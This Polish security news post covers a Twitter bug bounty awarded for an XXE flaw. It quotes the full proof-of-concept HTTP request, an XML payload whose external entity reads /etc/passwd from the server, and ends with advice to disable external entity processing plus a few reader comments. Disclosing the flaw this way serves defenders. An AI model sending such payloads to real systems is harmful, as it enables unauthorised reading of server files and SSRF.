-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Za jeden prosty XML zgarnął $10 000

31 lipca 2017, 13:37 | W biegu | komentarze 4

Nagroda w wysokości $10 800 została przyznana niedawno w ramach bug bounty Twittera. 

Jeden z serwerów, a dokładnie jedno z API, było podatne na opisywaną przez nas już dwukrotnie podatność XXE.

XML wyglądał jak poniżej, a autor badania do oryginalnego XML-a dołożył tylko oznaczone linijki:

POST /api/sxmp/1.0 HTTP/1.1
Host: sms-be-vip.twitter.com
Connection: close
Content-Type: text/xml
Content-Length: 481

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY file SYSTEM "file:///etc/passwd"> 
]>
<operation type="deliver">
<account username="abc" password="a"/>
<deliverRequest referenceId="MYREF102020022">
<operatorId>&file;</operatorId>
<sourceAddress type="network">40404</sourceAddress>
<destinationAddress type="international">123</destinationAddress>
<text encoding="ISO-8859-1">a</text>
</deliverRequest>
</operation>
</code>

Podatność umożliwiała na czytanie plików z serwera czy zmuszanie serwera do wykonania requestów HTTP na dowolny adres.

Jeśli przetwarzasz XML-e po stronie serwerowej – warto sprawdzić więc czy wyłączyłeś przetwarzanie encji zewnętrznych (domyślnie jest to bardzo często włączone).

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. markac

    Skoro taka firma ma takie bugi, to jak „zwykły” admin serwera www ma to wszystko ogarnąć?
    Chyba as jakieś domyślne restrykcyjne configi, które mają wszystko wyłączone domyślnie, jak więc taki błąd mógł się trafić Twitterowi?

    Odpowiedz
    • To akurat bardziej kwestia developera aplikacji niż admina.

      Odpowiedz
  2. Darek

    Skąd Twitter pobierał tego XML’a?

    Odpowiedz
    • To raczej umożliwiał wysyłkę do siebie – w nagłówku host więcej info.

      Odpowiedz

Odpowiedz na markac